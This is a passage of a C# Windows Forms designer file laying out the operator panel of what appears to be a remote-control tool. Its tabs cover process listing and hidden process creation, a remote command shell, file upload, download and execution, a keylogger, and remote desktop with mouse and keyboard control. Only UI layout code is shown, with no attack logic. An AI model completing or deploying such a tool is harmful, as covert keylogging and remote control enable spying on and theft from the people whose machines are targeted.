this.tabPage4.Controls.Add(this.label17); 722 | this.tabPage4.Controls.Add(this.label16); 723 | this.tabPage4.Controls.Add(this.label15); 724 | this.tabPage4.Controls.Add(this.listView2); 725 | this.tabPage4.Location = new System.Drawing.Point(4, 22); 726 | this.tabPage4.Name = "tabPage4"; 727 | this.tabPage4.Size = new System.Drawing.Size(901, 550); 728 | this.tabPage4.TabIndex = 3; 729 | this.tabPage4.Text = "Processes"; 730 | this.tabPage4.UseVisualStyleBackColor = true; 731 | // 732 | // button14 733 | // 734 | this.button14.Location = new System.Drawing.Point(425, 458); 735 | this.button14.Name = "button14"; 736 | this.button14.Size = new System.Drawing.Size(116, 23); 737 | this.button14.TabIndex = 6; 738 | this.button14.Text = "Create Process"; 739 | this.button14.UseVisualStyleBackColor = true; 740 | this.button14.Click += new System.EventHandler(this.button14_Click); 741 | // 742 | // comboBox4 743 | // 744 | this.comboBox4.FormattingEnabled = true; 745 | this.comboBox4.Items.AddRange(new object[] { 746 | "Normal", 747 | "Hidden"}); 748 | this.comboBox4.Location = new System.Drawing.Point(298, 460); 749 | this.comboBox4.Name = "comboBox4"; 750 | this.comboBox4.Size = new System.Drawing.Size(121, 21); 751 | this.comboBox4.TabIndex = 5; 752 | this.comboBox4.Text = "Visibility"; 753 | // 754 | // textBox4 755 | // 756 | this.textBox4.Location = new System.Drawing.Point(96, 460); 757 | this.textBox4.Name = "textBox4"; 758 | this.textBox4.Size = new System.Drawing.Size(196, 20); 759 | this.textBox4.TabIndex = 4; 760 | // 761 | // label17 762 | // 763 | this.label17.AutoSize = true; 764 | this.label17.Location = new System.Drawing.Point(41, 463); 765 | this.label17.Name = "label17"; 766 | this.label17.Size = new System.Drawing.Size(49, 13); 767 | this.label17.TabIndex = 3; 768 | this.label17.Text = "Filename"; 769 | // 770 | // label16 771 | // 772 | this.label16.AutoSize = true; 773 | this.label16.Location = new System.Drawing.Point(8, 435); 774 | this.label16.Name = "label16"; 775 | this.label16.Size = new System.Drawing.Size(104, 13); 776 | this.label16.TabIndex = 2; 777 | this.label16.Text = "Create New Process"; 778 | // 779 | // label15 780 | // 781 | this.label15.AutoSize = true; 782 | this.label15.Location = new System.Drawing.Point(8, 12); 783 | this.label15.Name = "label15"; 784 | this.label15.Size = new System.Drawing.Size(64, 13); 785 | this.label15.TabIndex = 1; 786 | this.label15.Text = "Process List"; 787 | // 788 | // listView2 789 | // 790 | this.listView2.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { 791 | this.columnHeader6, 792 | this.columnHeader7, 793 | this.columnHeader8, 794 | this.columnHeader9, 795 | this.columnHeader10, 796 | this.columnHeader11}); 797 | this.listView2.ContextMenuStrip = this.contextMenuStrip2; 798 | this.listView2.FullRowSelect = true; 799 | this.listView2.GridLines = true; 800 | this.listView2.Location = new System.Drawing.Point(26, 28); 801 | this.listView2.Name = "listView2"; 802 | this.listView2.Size = new System.Drawing.Size(867, 375); 803 | this.listView2.TabIndex = 0; 804 | this.listView2.UseCompatibleStateImageBehavior = false; 805 | this.listView2.View = System.Windows.Forms.View.Details; 806 | // 807 | // columnHeader6 808 | // 809 | this.columnHeader6.Text = "Process Name"; 810 | this.columnHeader6.Width = 96; 811 | // 812 | // columnHeader7 813 | // 814 | this.columnHeader7.Text = "PID"; 815 | // 816 | // columnHeader8 817 | // 818 | this.columnHeader8.Text = "Respoding"; 819 | this.columnHeader8.Width = 70; 820 | // 821 | // columnHeader9 822 | // 823 | this.columnHeader9.Text = "Title"; 824 | // 825 | // columnHeader10 826 | // 827 | this.columnHeader10.Text = "Priority"; 828 | // 829 | // columnHeader11 830 | // 831 | this.columnHeader11.Text = "Path"; 832 | // 833 | // contextMenuStrip2 834 | // 835 | this.contextMenuStrip2.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { 836 | this.killToolStripMenuItem, 837 | this.refreshToolStripMenuItem1}); 838 | this.contextMenuStrip2.Name = "contextMenuStrip2"; 839 | this.contextMenuStrip2.Size = new System.Drawing.Size(114, 48); 840 | // 841 | // killToolStripMenuItem 842 | // 843 | this.killToolStripMenuItem.Name = "killToolStripMenuItem"; 844 | this.killToolStripMenuItem.Size = new System.Drawing.Size(113, 22); 845 | this.killToolStripMenuItem.Text = "Kill"; 846 | this.killToolStripMenuItem.Click += new System.EventHandler(this.killToolStripMenuItem_Click); 847 | // 848 | // refreshToolStripMenuItem1 849 | // 850 | this.refreshToolStripMenuItem1.Name = "refreshToolStripMenuItem1"; 851 | this.refreshToolStripMenuItem1.Size = new System.Drawing.Size(113, 22); 852 | this.refreshToolStripMenuItem1.Text = "Refresh"; 853 | this.refreshToolStripMenuItem1.Click += new System.EventHandler(this.refreshToolStripMenuItem1_Click); 854 | // 855 | // tabPage5 856 | // 857 | this.tabPage5.Controls.Add(this.textBox5); 858 | this.tabPage5.Controls.Add(this.richTextBox2); 859 | this.tabPage5.Controls.Add(this.button15); 860 | this.tabPage5.Location = new System.Drawing.Point(4, 22); 861 | this.tabPage5.Name = "tabPage5"; 862 | this.tabPage5.Size = new System.Drawing.Size(901, 550); 863 | this.tabPage5.TabIndex = 4; 864 | this.tabPage5.Text = "Remote Cmd"; 865 | this.tabPage5.UseVisualStyleBackColor = true; 866 | // 867 | // textBox5 868 | // 869 | this.textBox5.Location = new System.Drawing.Point(8, 469); 870 | this.textBox5.Name = "textBox5"; 871 | this.textBox5.Size = new System.Drawing.Size(885, 20); 872 | this.textBox5.TabIndex = 2; 873 | this.textBox5.Tag = "rcmd"; 874 | this.textBox5.KeyDown += new System.Windows.Forms.KeyEventHandler(this.textBox5_KeyDown); 875 | // 876 | // richTextBox2 877 | // 878 | this.richTextBox2.BackColor = System.Drawing.Color.Black; 879 | this.richTextBox2.ForeColor = System.Drawing.Color.White; 880 | this.richTextBox2.Location = new System.Drawing.Point(8, 42); 881 | this.richTextBox2.Name = "richTextBox2"; 882 | this.richTextBox2.Size = new System.Drawing.Size(885, 425); 883 | this.richTextBox2.TabIndex = 1; 884 | this.richTextBox2.Text = ""; 885 | // 886 | // button15 887 | // 888 | this.button15.Location = new System.Drawing.Point(8, 13); 889 | this.button15.Name = "button15"; 890 | this.button15.Size = new System.Drawing.Size(113, 23); 891 | this.button15.TabIndex = 0; 892 | this.button15.Text = "Start Cmd"; 893 | this.button15.UseVisualStyleBackColor = true; 894 | this.button15.Click += new System.EventHandler(this.button15_Click); 895 | // 896 | // tabPage6 897 | // 898 | this.tabPage6.Controls.Add(this.listView3); 899 | this.tabPage6.Location = new System.Drawing.Point(4, 22); 900 | this.tabPage6.Name = "tabPage6"; 901 | this.tabPage6.Size = new System.Drawing.Size(901, 550); 902 | this.tabPage6.TabIndex = 5; 903 | this.tabPage6.Text = "Files"; 904 | this.tabPage6.UseVisualStyleBackColor = true; 905 | // 906 | // listView3 907 | // 908 | this.listView3.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { 909 | this.columnHeader12, 910 | this.columnHeader13, 911 | this.columnHeader14, 912 | this.columnHeader15}); 913 | this.listView3.ContextMenuStrip = this.contextMenuStrip3; 914 | this.listView3.FullRowSelect = true; 915 | this.listView3.Location = new System.Drawing.Point(8, 3); 916 | this.listView3.Name = "listView3"; 917 | this.listView3.Size = new System.Drawing.Size(885, 477); 918 | this.listView3.TabIndex = 0; 919 | this.listView3.UseCompatibleStateImageBehavior = false; 920 | this.listView3.View = System.Windows.Forms.View.Details; 921 | // 922 | // columnHeader12 923 | // 924 | this.columnHeader12.Text = "File name"; 925 | this.columnHeader12.Width = 152; 926 | // 927 | // columnHeader13 928 | // 929 | this.columnHeader13.Text = "File Size"; 930 | this.columnHeader13.Width = 88; 931 | // 932 | // columnHeader14 933 | // 934 | this.columnHeader14.Text = "Creation Time"; 935 | this.columnHeader14.Width = 122; 936 | // 937 | // columnHeader15 938 | // 939 | this.columnHeader15.Text = "Full Path"; 940 | this.columnHeader15.Width = 510; 941 | // 942 | // contextMenuStrip3 943 | // 944 | this.contextMenuStrip3.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { 945 | this.listDrivesToolStripMenuItem, 946 | this.enterDirectoryToolStripMenuItem, 947 | this.toolStripMenuItem1, 948 | this.moveToolStripMenuItem, 949 | this.copyToolStripMenuItem, 950 | this.pasteToolStripMenuItem, 951 | this.executeToolStripMenuItem, 952 | this.uploadToolStripMenuItem, 953 | this.downloadToolStripMenuItem, 954 | this.editToolStripMenuItem, 955 | this.attributesToolStripMenuItem, 956 | this.deleteToolStripMenuItem, 957 | this.renameToolStripMenuItem, 958 | this.newToolStripMenuItem}); 959 | this.contextMenuStrip3.Name = "contextMenuStrip3"; 960 | this.contextMenuStrip3.Size = new System.Drawing.Size(153, 312); 961 | // 962 | // listDrivesToolStripMenuItem 963 | // 964 | this.listDrivesToolStripMenuItem.Name = "listDrivesToolStripMenuItem"; 965 | this.listDrivesToolStripMenuItem.Size = new System.Drawing.Size(152, 22); 966 | this.listDrivesToolStripMenuItem.Text = "List Drives"; 967 | this.listDrivesToolStripMenuItem.Click += new System.EventHandler(this.listDrivesToolStripMenuItem_Click); 968 | // 969 | // enterDirectoryToolStripMenuItem 970 | // 971 | this.enterDirectoryToolStripMenuItem.Name = "enterDirectoryToolStripMenuItem"; 972 | this.enterDirectoryToolStripMenuItem.Size = new System.Drawing.Size(152, 22); 973 | this.enterDirectoryToolStripMenuItem.Text = "Enter Directory"; 974 | this.enterDirectoryToolStripMenuItem.Click += new System.EventHandler(this.enterDirectoryToolStripMenuItem_Click); 975 | // 976 | // toolStripMenuItem1 977 | // 978 | this.toolStripMenuItem1.Name = "toolStripMenuItem1"; 979 | this.toolStripMenuItem1.Size = new System.Drawing.Size(152, 22); 980 | this.toolStripMenuItem1.Text = "Up 1 Directory"; 981 | this.toolStripMenuItem1.Click += new System.EventHandler(this.toolStripMenuItem1_Click); 982 | // 983 | // moveToolStripMenuItem 984 | // 985 | this.moveToolStripMenuItem.Name = "moveToolStripMenuItem"; 986 | this.moveToolStripMenuItem.Size = new System.Drawing.Size(152, 22); 987 | this.moveToolStripMenuItem.Text = "Move"; 988 | this.moveToolStripMenuItem.Click += new System.EventHandler(this.moveToolStripMenuItem_Click); 989 | // 990 | // copyToolStripMenuItem 991 | // 992 | this.copyToolStripMenuItem.Name = "copyToolStripMenuItem"; 993 | this.copyToolStripMenuItem.Size = new System.Drawing.Size(152, 22); 994 | this.copyToolStripMenuItem.Text = "Copy"; 995 | this.copyToolStripMenuItem.Click += new System.EventHandler(this.copyToolStripMenuItem_Click); 996 | // 997 | // pasteToolStripMenuItem 998 | // 999 | this.pasteToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { 1000 | this.currentDirectoryToolStripMenuItem, 1001 | this.selectedDirectoryToolStripMenuItem}); 1002 | this.pasteToolStripMenuItem.Name = "pasteToolStripMenuItem"; 1003 | this.pasteToolStripMenuItem.Size = new System.Drawing.Size(152, 22); 1004 | this.pasteToolStripMenuItem.Text = "Paste"; 1005 | // 1006 | // currentDirectoryToolStripMenuItem 1007 | // 1008 | this.currentDirectoryToolStripMenuItem.Name = "currentDirectoryToolStripMenuItem"; 1009 | this.currentDirectoryToolStripMenuItem.Size = new System.Drawing.Size(169, 22); 1010 | this.currentDirectoryToolStripMenuItem.Text = "Current Directory"; 1011 | this.currentDirectoryToolStripMenuItem.Click += new System.EventHandler(this.currentDirectoryToolStripMenuItem_Click); 1012 | // 1013 | // selectedDirectoryToolStripMenuItem 1014 | // 1015 | this.selectedDirectoryToolStripMenuItem.Name = "selectedDirectoryToolStripMenuItem"; 1016 | this.selectedDirectoryToolStripMenuItem.Size = new System.Drawing.Size(169, 22); 1017 | this.selectedDirectoryToolStripMenuItem.Text = "Selected Directory"; 1018 | this.selectedDirectoryToolStripMenuItem.Click += new System.EventHandler(this.selectedDirectoryToolStripMenuItem_Click); 1019 | // 1020 | // executeToolStripMenuItem 1021 | // 1022 | this.executeToolStripMenuItem.Name = "executeToolStripMenuItem"; 1023 | this.executeToolStripMenuItem.Size = new System.Drawing.Size(152, 22); 1024 | this.executeToolStripMenuItem.Text = "Execute"; 1025 | this.executeToolStripMenuItem.Click += new System.EventHandler(this.executeToolStripMenuItem_Click); 1026 | // 1027 | // uploadToolStripMenuItem 1028 | // 1029 | this.uploadToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { 1030 | this.currentDirectoryToolStripMenuItem1, 1031 | this.selectedDirectoryToolStripMenuItem1}); 1032 | this.uploadToolStripMenuItem.Name = "uploadToolStripMenuItem"; 1033 | this.uploadToolStripMenuItem.Size = new System.Drawing.Size(152, 22); 1034 | this.uploadToolStripMenuItem.Text = "Upload"; 1035 | // 1036 | // currentDirectoryToolStripMenuItem1 1037 | // 1038 | this.currentDirectoryToolStripMenuItem1.Name = "currentDirectoryToolStripMenuItem1"; 1039 | this.currentDirectoryToolStripMenuItem1.Size = new System.Drawing.Size(169, 22); 1040 | this.currentDirectoryToolStripMenuItem1.Text = "Current Directory"; 1041 | this.currentDirectoryToolStripMenuItem1.Click += new System.EventHandler(this.currentDirectoryToolStripMenuItem1_Click); 1042 | // 1043 | // selectedDirectoryToolStripMenuItem1 1044 | // 1045 | this.selectedDirectoryToolStripMenuItem1.Name = "selectedDirectoryToolStripMenuItem1"; 1046 | this.selectedDirectoryToolStripMenuItem1.Size = new System.Drawing.Size(169, 22); 1047 | this.selectedDirectoryToolStripMenuItem1.Text = "Selected Directory"; 1048 | this.selectedDirectoryToolStripMenuItem1.Click += new System.EventHandler(this.selectedDirectoryToolStripMenuItem1_Click); 1049 | // 1050 | // downloadToolStripMenuItem 1051 | // 1052 | this.downloadToolStripMenuItem.Name = "downloadToolStripMenuItem"; 1053 | this.downloadToolStripMenuItem.Size = new System.Drawing.Size(152, 22); 1054 | this.downloadToolStripMenuItem.Text = "Download"; 1055 | this.downloadToolStripMenuItem.Click += new System.EventHandler(this.downloadToolStripMenuItem_Click); 1056 | // 1057 | // editToolStripMenuItem 1058 | // 1059 | this.editToolStripMenuItem.Name = "editToolStripMenuItem"; 1060 | this.editToolStripMenuItem.Size = new System.Drawing.Size(152, 22); 1061 | this.editToolStripMenuItem.Text = "Edit"; 1062 | this.editToolStripMenuItem.Click += new System.EventHandler(this.editToolStripMenuItem_Click); 1063 | // 1064 | // attributesToolStripMenuItem 1065 | // 1066 | this.attributesToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { 1067 | this.hideToolStripMenuItem, 1068 | this.showToolStripMenuItem}); 1069 | this.attributesToolStripMenuItem.Name = "attributesToolStripMenuItem"; 1070 | this.attributesToolStripMenuItem.Size = new System.Drawing.Size(152, 22); 1071 | this.attributesToolStripMenuItem.Text = "Attributes"; 1072 | // 1073 | // hideToolStripMenuItem 1074 | // 1075 | this.hideToolStripMenuItem.Name = "hideToolStripMenuItem"; 1076 | this.hideToolStripMenuItem.Size = new System.Drawing.Size(103, 22); 1077 | this.hideToolStripMenuItem.Text = "Hide"; 1078 | this.hideToolStripMenuItem.Click += new System.EventHandler(this.hideToolStripMenuItem_Click); 1079 | // 1080 | // showToolStripMenuItem 1081 | // 1082 | this.showToolStripMenuItem.Name = "showToolStripMenuItem"; 1083 | this.showToolStripMenuItem.Size = new System.Drawing.Size(103, 22); 1084 | this.showToolStripMenuItem.Text = "Show"; 1085 | this.showToolStripMenuItem.Click += new System.EventHandler(this.showToolStripMenuItem_Click); 1086 | // 1087 | // deleteToolStripMenuItem 1088 | // 1089 | this.deleteToolStripMenuItem.Name = "deleteToolStripMenuItem"; 1090 | this.deleteToolStripMenuItem.Size = new System.Drawing.Size(152, 22); 1091 | this.deleteToolStripMenuItem.Text = "Delete"; 1092 | this.deleteToolStripMenuItem.Click += new System.EventHandler(this.deleteToolStripMenuItem_Click); 1093 | // 1094 | // renameToolStripMenuItem 1095 | // 1096 | this.renameToolStripMenuItem.Name = "renameToolStripMenuItem"; 1097 | this.renameToolStripMenuItem.Size = new System.Drawing.Size(152, 22); 1098 | this.renameToolStripMenuItem.Text = "Rename"; 1099 | this.renameToolStripMenuItem.Click += new System.EventHandler(this.renameToolStripMenuItem_Click); 1100 | // 1101 | // newToolStripMenuItem 1102 | // 1103 | this.newToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { 1104 | this.fileToolStripMenuItem, 1105 | this.directoryToolStripMenuItem}); 1106 | this.newToolStripMenuItem.Name = "newToolStripMenuItem"; 1107 | this.newToolStripMenuItem.Size = new System.Drawing.Size(152, 22); 1108 | this.newToolStripMenuItem.Text = "New"; 1109 | // 1110 | // fileToolStripMenuItem 1111 | // 1112 | this.fileToolStripMenuItem.Name = "fileToolStripMenuItem"; 1113 | this.fileToolStripMenuItem.Size = new System.Drawing.Size(122, 22); 1114 | this.fileToolStripMenuItem.Text = "File"; 1115 | this.fileToolStripMenuItem.Click += new System.EventHandler(this.fileToolStripMenuItem_Click); 1116 | // 1117 | // directoryToolStripMenuItem 1118 | // 1119 | this.directoryToolStripMenuItem.Name = "directoryToolStripMenuItem"; 1120 | this.directoryToolStripMenuItem.Size = new System.Drawing.Size(122, 22); 1121 | this.directoryToolStripMenuItem.Text = "Directory"; 1122 | this.directoryToolStripMenuItem.Click += new System.EventHandler(this.directoryToolStripMenuItem_Click); 1123 | // 1124 | // tabPage7 1125 | // 1126 | this.tabPage7.Controls.Add(this.button19); 1127 | this.tabPage7.Controls.Add(this.button18); 1128 | this.tabPage7.Controls.Add(this.button17); 1129 | this.tabPage7.Controls.Add(this.button16); 1130 | this.tabPage7.Controls.Add(this.richTextBox3); 1131 | this.tabPage7.Location = new System.Drawing.Point(4, 22); 1132 | this.tabPage7.Name = "tabPage7"; 1133 | this.tabPage7.Size = new System.Drawing.Size(901, 550); 1134 | this.tabPage7.TabIndex = 6; 1135 | this.tabPage7.Text = "Keylogger"; 1136 | this.tabPage7.UseVisualStyleBackColor = true; 1137 | // 1138 | // button19 1139 | // 1140 | this.button19.Location = new System.Drawing.Point(251, 464); 1141 | this.button19.Name = "button19"; 1142 | this.button19.Size = new System.Drawing.Size(75, 23); 1143 | this.button19.TabIndex = 4; 1144 | this.button19.Text = "Clear Buffer"; 1145 | this.button19.UseVisualStyleBackColor = true; 1146 | this.button19.Click += new System.EventHandler(this.button19_Click); 1147 | // 1148 | // button18 1149 | // 1150 | this.button18.Location = new System.Drawing.Point(170, 464); 1151 | this.button18.Name = "button18"; 1152 | this.button18.Size = new System.Drawing.Size(75, 23); 1153 | this.button18.TabIndex = 3; 1154 | this.button18.Text = "Retrive"; 1155 | this.button18.UseVisualStyleBackColor = true; 1156 | this.button18.Click += new System.EventHandler(this.button18_Click); 1157 | // 1158 | // button17 1159 | // 1160 | this.button17.Location = new System.Drawing.Point(89, 464); 1161 | this.button17.Name = "button17"; 1162 | this.button17.Size = new System.Drawing.Size(75, 23); 1163 | this.button17.TabIndex = 2; 1164 | this.button17.Text = "Stop"; 1165 | this.button17.UseVisualStyleBackColor = true; 1166 | this.button17.Click += new System.EventHandler(this.button17_Click); 1167 | // 1168 | // button16 1169 | // 1170 | this.button16.Location = new System.Drawing.Point(8, 464); 1171 | this.button16.Name = "button16"; 1172 | this.button16.Size = new System.Drawing.Size(75, 23); 1173 | this.button16.TabIndex = 1; 1174 | this.button16.Text = "Start"; 1175 | this.button16.UseVisualStyleBackColor = true; 1176 | this.button16.Click += new System.EventHandler(this.button16_Click); 1177 | // 1178 | // richTextBox3 1179 | // 1180 | this.richTextBox3.Location = new System.Drawing.Point(8, 3); 1181 | this.richTextBox3.Name = "richTextBox3"; 1182 | this.richTextBox3.Size = new System.Drawing.Size(885, 455); 1183 | this.richTextBox3.TabIndex = 0; 1184 | this.richTextBox3.Text = ""; 1185 | // 1186 | // tabPage8 1187 | // 1188 | this.tabPage8.Controls.Add(this.lblQualityShow); 1189 | this.tabPage8.Controls.Add(this.lblChooseScreen); 1190 | this.tabPage8.Controls.Add(this.cmboChooseScreen); 1191 | this.tabPage8.Controls.Add(this.btnCountScreens); 1192 | this.tabPage8.Controls.Add(this.btnStartTaskManager); 1193 | this.tabPage8.Controls.Add(this.txtBControlKeyboard); 1194 | this.tabPage8.Controls.Add(this.label34); 1195 | this.tabPage8.Controls.Add(this.trackBar1); 1196 | this.tabPage8.Controls.Add(this.btnFullScreenMode); 1197 | this.tabPage8.Controls.Add(this.checkBoxrKeyboard); 1198 | this.tabPage8.Controls.Add(this.checkBoxrMouse); 1199 | this.tabPage8.Controls.Add(this.button22); 1200 | this.tabPage8.Controls.Add(this.button21); 1201 | this.tabPage8.Controls.Add(this.pictureBox1); 1202 | this.tabPage8.Location = new System.Drawing.Point(4, 22); 1203 | this.tabPage8.Name = "tabPage8"; 1204 | this.tabPage8.Size = new System.Drawing.Size(901, 550); 1205 | this.tabPage8.TabIndex = 7; 1206 | this.tabPage8.Text = "Remote Desktop"; 1207 | this.tabPage8.UseVisualStyleBackColor = true; 1208 | // 1209 | // lblQualityShow 1210 | // 1211 | this.lblQualityShow.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); 1212 | this.lblQualityShow.AutoSize = true; 1213 | this.lblQualityShow.BackColor = System.Drawing.Color.Yellow; 1214 | this.lblQualityShow.Location = new System.Drawing.Point(797, 527); 1215 | this.lblQualityShow.Name = "lblQualityShow"; 1216 | this.lblQualityShow.Size = new System.Drawing.Size(33, 13); 1217 | this.lblQualityShow.TabIndex = 21; 1218 | this.lblQualityShow.Text = "(best)"; 1219 | // 1220 | // lblChooseScreen 1221 | // 1222 | this.lblChooseScreen.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); 1223 | this.lblChooseScreen.AutoSize = true; 1224 | this.lblChooseScreen.Location = new System.Drawing.Point(546, 523); 1225 | this.lblChooseScreen.Name = "lblChooseScreen"; 1226 | this.lblChooseScreen.Size = new System.Drawing.Size(83, 13); 1227 | this.lblChooseScreen.TabIndex = 20; 1228 | this.lblChooseScreen.Text = "Choose Screen:"; 1229 | // 1230 | // cmboChooseScreen 1231 | // 1232 | this.cmboChooseScreen.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); 1233 | this.cmboChooseScreen.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; 1234 | this.cmboChooseScreen.FormattingEnabled = true; 1235 | this.cmboChooseScreen.Location = new System.Drawing.Point(631, 518); 1236 | this.cmboChooseScreen.Name = "cmboChooseScreen"; 1237 | this.cmboChooseScreen.Size = new System.Drawing.Size(75, 21); 1238 | this.cmboChooseScreen.TabIndex = 19; 1239 | // 1240 | // btnCountScreens 1241 | // 1242 | this.btnCountScreens.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); 1243 | this.btnCountScreens.Location = new System.Drawing.Point(549, 485); 1244 | this.btnCountScreens.Name = "btnCountScreens"; 1245 | this.btnCountScreens.Size = new System.Drawing.Size(157, 23); 1246 | this.btnCountScreens.TabIndex = 18; 1247 | this.btnCountScreens.Text = "Count Screens"; 1248 | this.btnCountScreens.UseVisualStyleBackColor = true; 1249 | this.btnCountScreens.Click += new System.EventHandler(this.btnCountScreens_Click); 1250 | // 1251 | // btnStartTaskManager 1252 | // 1253 | this.btnStartTaskManager.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); 1254 | this.btnStartTaskManager.Enabled = false; 1255 | this.btnStartTaskManager.Location = new System.Drawing.Point(395, 485); 1256 | this.btnStartTaskManager.Name = "btnStartTaskManager"; 1257 | this.btnStartTaskManager.Size = new System.Drawing.Size(146, 23); 1258 | this.btnStartTaskManager.TabIndex = 17; 1259 | this.btnStartTaskManager.Text = "Start Remote TaskManager"; 1260 | this.btnStartTaskManager.UseVisualStyleBackColor = true; 1261 | this.btnStartTaskManager.Click += new System.EventHandler(this.btnStartTaskManager_Click); 1262 | // 1263 | // txtBControlKeyboard 1264 | // 1265 | this.txtBControlKeyboard.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); 1266 | this.txtBControlKeyboard.BackColor = System.Drawing.SystemColors.Window; 1267 | this.txtBControlKeyboard.BorderStyle = System.Windows.Forms.BorderStyle.None; 1268 | this.txtBControlKeyboard.Cursor = System.Windows.Forms.Cursors.Arrow; 1269 | this.txtBControlKeyboard.ForeColor = System.Drawing.SystemColors.Window; 1270 | this.txtBControlKeyboard.Location = new System.Drawing.Point(181, 496); 1271 | this.txtBControlKeyboard.Multiline = true; 1272 | this.txtBControlKeyboard.Name = "txtBControlKeyboard"; 1273 | this.txtBControlKeyboard.Size = new System.Drawing.Size(94, 20); 1274 | this.txtBControlKeyboard.TabIndex = 16; 1275 | this.txtBControlKeyboard.KeyDown += new System.Windows.Forms.KeyEventHandler(this.txtBControlKeyboard_KeyDown); 1276 | // 1277 | // label34 1278 | // 1279 | this.label34.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); 1280 | this.label34.AutoSize = true; 1281 | this.label34.Location = new System.Drawing.Point(756, 482); 1282 | this.label34.Name = "label34"; 1283 | this.label34.Size = new System.Drawing.Size(110, 13); 1284 | this.label34.TabIndex = 15; 1285 | this.label34.Text = "Screen Refresh Rate:"; 1286 | // 1287 | // trackBar1 1288 | // 1289 | this.trackBar1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); 1290 | this.trackBar1.BackColor = System.Drawing.Color.Yellow; 1291 | this.trackBar1.Location = new System.Drawing.Point(727, 498); 1292 | this.trackBar1.Maximum = 100; 1293 | this.trackBar1.Minimum = 1; 1294 | this.trackBar1.Name = "trackBar1"; 1295 | this.trackBar1.Size = new System.Drawing.Size(166, 45); 1296 | this.trackBar1.TabIndex = 14; 1297 | this.trackBar1.Value = 75; 1298 | this.trackBar1.Scroll += new System.EventHandler(this.trackBar1_Scroll); 1299 | // 1300 | // btnFullScreenMode 1301 | // 1302 | this.btnFullScreenMode.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); 1303 | this.btnFullScreenMode.Enabled = false; 1304 | this.btnFullScreenMode.Location = new System.Drawing.Point(395, 516); 1305 | this.btnFullScreenMode.Name = "btnFullScreenMode"; 1306 | this.btnFullScreenMode.Size = new System.Drawing.Size(146, 23); 1307 | this.btnFullScreenMode.TabIndex = 5; 1308 | this.btnFullScreenMode.Text = "Fullscreen Mode"; 1309 | this.btnFullScreenMode.UseVisualStyleBackColor = true; 1310 | this.btnFullScreenMode.Click += new System.EventHandler(this.btnFullRemoteScreen_Click); 1311 | // 1312 | // checkBoxrKeyboard 1313 | // 1314 | this.checkBoxrKeyboard.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); 1315 | this.checkBoxrKeyboard.AutoSize = true; 1316 | this.checkBoxrKeyboard.Location = new System.Drawing.Point(282, 520); 1317 | this.checkBoxrKeyboard.Name = "checkBoxrKeyboard"; 1318 | this.checkBoxrKeyboard.Size = new System.Drawing.Size(107, 17); 1319 | this.checkBoxrKeyboard.TabIndex = 4; 1320 | this.checkBoxrKeyboard.Text = "Control Keyboard"; 1321 | this.checkBoxrKeyboard.UseVisualStyleBackColor = true; 1322 | this.checkBoxrKeyboard.CheckedChanged += new System.EventHandler(this.checkBoxrKeyboard_CheckedChanged); 1323 | // 1324 | // checkBoxrMouse 1325 | // 1326 | this.checkBoxrMouse.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); 1327 | this.checkBoxrMouse.AutoSize = true; 1328 | this.checkBoxrMouse.Location = new System.Drawing.Point(182, 520); 1329 | this.checkBoxrMouse.Name = "checkBoxrMouse"; 1330 | this.checkBoxrMouse.Size = new System.Drawing.Size(94, 17); 1331 | this.checkBoxrMouse.TabIndex = 3; 1332 | this.checkBoxrMouse.Text = "Control Mouse"; 1333 | this.checkBoxrMouse.UseVisualStyleBackColor = true; 1334 | this.checkBoxrMouse.CheckedChanged += new System.EventHandler(this.checkBoxrMouse_CheckedChanged); 1335 | // 1336 | // button22 1337 | // 1338 | this.button22.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); 1339 | this.button22.Location = new System.Drawing.Point(87, 516); 1340 | this.button22.Name = "button22"; 1341 | this.button22.Size = new System.Drawing.Size(75, 23); 1342 | this.button22.TabIndex = 2; 1343 | this.button22.Text = "Stop"; 1344 | this.button22.UseVisualStyleBackColor = true; 1345 | this.button22.Click += new System.EventHandler(this.btnStopRemoteScreen_Click); 1346 | // 1347 | // button21 1348 | // 1349 | this.button21.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); 1350 | this.button21.Location = new System.Drawing.Point(6, 516); 1351 | this.button21.Name = "button21"; 1352 | this.button21.Size = new System.Drawing.Size(75, 23); 1353 | this.button21.TabIndex = 1; 1354 | this.button21.Text = "Start"; 1355 | this.button21.UseVisualStyleBackColor = true; 1356 | this.button21.Click += new 